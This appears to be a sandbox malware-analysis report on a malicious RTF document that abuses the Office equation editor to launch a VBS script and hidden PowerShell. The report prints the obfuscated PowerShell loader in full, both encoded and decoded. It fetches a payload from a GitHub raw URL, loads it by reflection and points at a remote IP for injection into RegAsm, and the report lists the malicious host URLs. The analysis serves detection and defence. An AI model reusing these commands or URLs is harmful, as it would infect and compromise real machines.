Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3724 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3728 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3728 Thread sleep time: -2400000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000005.00000003.364824207.0000000002436000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: .iTGKrAptRpoRCHpvmcibhkZKPoWcGKcfGGGziczQkiorZp <
Source: newprojectwithnewthingstobecome[1].tiff.2.dr Binary or memory string: iTGKrAptRpoRCHpvmcibhkZKPoWcGKcfGGGziczQkiorZp = "hxqULmmpUmKLWLcZmocWbCkLoLLzZocKKPLmrWiikmALWt"
Source: newprojectwithnewthingstobecome[1].tiff.2.dr Binary or memory string: NtbmzhKcdCKkUfpWLqLAImUkGilrHdlaGLOLinbiancTUb = "iLRUqAhmUOicaoLcNJLGzcvmCiPWKTqoOfKbWLejTlPieo"
Source: wscript.exe, 00000005.00000003.365146380.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ]\iTGKrAptRpoRCHpvmcibhkZKPoWcGKcfGGGziczQkiorZp<di
Source: wscript.exe, 00000005.00000003.364824207.0000000002436000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: .iLRUqAhmUOicaoLcNJLGzcvmCiPWKTqoOfKbWLejTlPieos
Source: wscript.exe, 00000005.00000003.365674594.0000000000929000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: iLRUqAhmUOicaoLcNJLGzcvmCiPWKTqoOfKbWLejTlPieo
Source: wscript.exe, 00000005.00000002.367743724.0000000002467000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: iTGKrAptRpoRCHpvmcibhkZKPoWcGKcfGGGziczQkiorZp6
Source: wscript.exe, 00000005.00000003.365146380.0000000002DD0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: i\iLRUqAhmUOicaoLcNJLGzcvmCiPWKTqoOfKbWLejTlPieoT
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Bypasses PowerShell execution policy
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\newprojectwithnewthingstobecom.vBS" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrftly6y29tc3bfy1s0lde1ldi1xs1qt0lojycpicgoj0lichunkydybccrjya9igd6smh0dhbzoicrjy8vjysncmf3licrj2dpdgh1ynvzzxinkydjb250jysnzw50lmnvbs9ob0rldgvjjysndccrj09ul05vrccrj2v0zwn0tycrj24nkycvcmunkydmcycrjy9ozscrj2fkcy9tjysnywknkydulycrj0rljysndgfotm90jysnac1wlicrj3r4jysndgcnkyd6sjsgswinkydwymfzzty0jysnq29ujysndgvudca9jysnichozxcnkyctjysnt2jqjysnzwn0ifmnkyd5c3qnkydlbs5ozxqnkycuv2vijysnq2xpzw50ks5eb3dujysnbg8nkydhzfmnkyd0cmlujysnzycrjyhjynb1cmwnkycpoybjynbiaw5hcnknkyddb250zw50id0gjysnwycrj1n5jysnc3rlbs5db252zxj0xto6rnjvjysnbuinkydhc2u2nccrj1n0cmlujysnzyhjynbijysnyscrj3nlnjrdbycrj250zw50jysnktsgswjwyxnzzw1ibccrj3kgpsankydbuicrj2unkydmbccrj2vjdglvbicrjy5bc3nlbwjsev0nkyc6okxvywqoswjwymluyxj5jysnqycrj28nkydudgvudck7iftkbmxpyi5jty5ib21lxtonkyc6vkfjkha3anr4dc5wrycrj0zsui8wmdevmdinkycumdiyljmumjknkycxjysnly8nkyc6chr0ahankyc3aiwnkycgcdcnkydqzgvzyxrpdmfkb3a3aiwgcccrjzdqzgunkydzyxrpdicrj2fkb3a3aiwnkycgcdcnkydqzgvzyxrpdmfkbycrj3a3aicrjywgcddqumvnqxntjysncddqjysnlcbwnycrj2pwn2oscdcnkydqcddqkscplljlcgxhq2uoj2d6sicsw1nuukluz11bq2hhul0zoskuumvwbgfdzsgncddqjyxbu1rssw5nxvtdagfsxtm0ks5szxbsyunlkcdjynanlcckjykgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $env:comspec[4,15,25]-join'') (('ibpu'+'rl'+' = gzjhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/nodetec'+'t'+'on/nod'+'etecto'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'de'+'tahnot'+'h-v.'+'tx'+'tg'+'zj; ib'+'pbase64'+'con'+'tent ='+' (new'+'-'+'obj'+'ect s'+'yst'+'em.net'+'.web'+'client).down'+'lo'+'ads'+'trin'+'g'+'(ibpurl'+'); ibpbinary'+'content = '+'['+'sy'+'stem.convert]::fro'+'mb'+'ase64'+'strin'+'g(ibpb'+'a'+'se64co'+'ntent'+'); ibpassembl'+'y = '+'[r'+'e'+'fl'+'ection'+'.assembly]'+'::load(ibpbinary'+'c'+'o'+'ntent); [dnlib.io.home]:'+':vai(p7jtxt.vg'+'frr/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jregasm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').replace('gzj',[string][char]39).replace('p7j',[string][char]34).replace('ibp','$') )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrftly6y29tc3bfy1s0lde1ldi1xs1qt0lojycpicgoj0lichunkydybccrjya9igd6smh0dhbzoicrjy8vjysncmf3licrj2dpdgh1ynvzzxinkydjb250jysnzw50lmnvbs9ob0rldgvjjysndccrj09ul05vrccrj2v0zwn0tycrj24nkycvcmunkydmcycrjy9ozscrj2fkcy9tjysnywknkydulycrj0rljysndgfotm90jysnac1wlicrj3r4jysndgcnkyd6sjsgswinkydwymfzzty0jysnq29ujysndgvudca9jysnichozxcnkyctjysnt2jqjysnzwn0ifmnkyd5c3qnkydlbs5ozxqnkycuv2vijysnq2xpzw50ks5eb3dujysnbg8nkydhzfmnkyd0cmlujysnzycrjyhjynb1cmwnkycpoybjynbiaw5hcnknkyddb250zw50id0gjysnwycrj1n5jysnc3rlbs5db252zxj0xto6rnjvjysnbuinkydhc2u2nccrj1n0cmlujysnzyhjynbijysnyscrj3nlnjrdbycrj250zw50jysnktsgswjwyxnzzw1ibccrj3kgpsankydbuicrj2unkydmbccrj2vjdglvbicrjy5bc3nlbwjsev0nkyc6okxvywqoswjwymluyxj5jysnqycrj28nkydudgvudck7iftkbmxpyi5jty5ib21lxtonkyc6vkfjkha3anr4dc5wrycrj0zsui8wmdevmdinkycumdiyljmumjknkycxjysnly8nkyc6chr0ahankyc3aiwnkycgcdcnkydqzgvzyxrpdmfkb3a3aiwgcccrjzdqzgunkydzyxrpdicrj2fkb3a3aiwnkycgcdcnkydqzgvzyxrpdmfkbycrj3a3aicrjywgcddqumvnqxntjysncddqjysnlcbwnycrj2pwn2oscdcnkydqcddqkscplljlcgxhq2uoj2d6sicsw1nuukluz11bq2hhul0zoskuumvwbgfdzsgncddqjyxbu1rssw5nxvtdagfsxtm0ks5szxbsyunlkcdjynanlcckjykgkq==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $env:comspec[4,15,25]-join'') (('ibpu'+'rl'+' = gzjhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/nodetec'+'t'+'on/nod'+'etecto'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'de'+'tahnot'+'h-v.'+'tx'+'tg'+'zj; ib'+'pbase64'+'con'+'tent ='+' (new'+'-'+'obj'+'ect s'+'yst'+'em.net'+'.web'+'client).down'+'lo'+'ads'+'trin'+'g'+'(ibpurl'+'); ibpbinary'+'content = '+'['+'sy'+'stem.convert]::fro'+'mb'+'ase64'+'strin'+'g(ibpb'+'a'+'se64co'+'ntent'+'); ibpassembl'+'y = '+'[r'+'e'+'fl'+'ection'+'.assembly]'+'::load(ibpbinary'+'c'+'o'+'ntent); [dnlib.io.home]:'+':vai(p7jtxt.vg'+'frr/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jregasm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').replace('gzj',[string][char]39).replace('p7j',[string][char]34).replace('ibp','$') )" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1526389 Sample: IpEmBW3Qw5.rtf Startdate: 05/10/2024 Architecture: WINDOWS Score: 100 49 Multi AV Scanner detection for domain / URL 2->49 51 Malicious sample detected (through community Yara rule) 2->51 53 Antivirus detection for dropped file 2->53 55 16 other signatures 2->55 9 WINWORD.EXE 336 17 2->9         started        process3 file4 27 C:\Users\...\~WRD0000.tmp:Zone.Identifier, ASCII 9->27 dropped 29 C:\Users\user\Desktop\~WRD0000.tmp, Rich 9->29 dropped 31 C:\Users\user\Desktop\IpEmBW3Qw5.rtf (copy), Rich 9->31 dropped 33 ~WRF{D2609696-E762...C-A86155954B70}.tmp, Composite 9->33 dropped 12 EQNEDT32.EXE 12 9->12         started        process5 dnsIp6 39 192.3.220.20, 49163, 49165, 80 AS-COLOCROSSINGUS United States 12->39 35 C:\...\newprojectwithnewthingstobecom.vBS, Unicode 12->35 dropped 63 Office equation editor establishes network connection 12->63 65 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->65 17 wscript.exe 1 12->17         started        file7 signatures8 process9 signatures10 41 Suspicious powershell command line found 17->41 43 Wscript starts Powershell (via cmd or directly) 17->43 45 Bypasses PowerShell execution policy 17->45 47 2 other signatures 17->47 20 powershell.exe 4 17->20         started        process11 signatures12 57 Suspicious powershell command line found 20->57 59 Obfuscated command line found 20->59 23 powershell.exe 12 5 20->23         started        process13 dnsIp14 37 raw.githubusercontent.com 185.199.109.133, 443, 49164 FASTLYUS Netherlands 23->37 61 Installs new ROOT certificates 23->61 signatures15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.199.109.133
 raw.githubusercontent.com Netherlands
54113 FASTLYUS false
192.3.220.20
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted Domains

Name IP Active
raw.githubusercontent.com 185.199.109.133 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt false unknown
http://192.3.220.20/100/newprojectwithnewthingstobecome.tIF true unknown
http://192.3.220.20/100/RRFGV.txt true unknown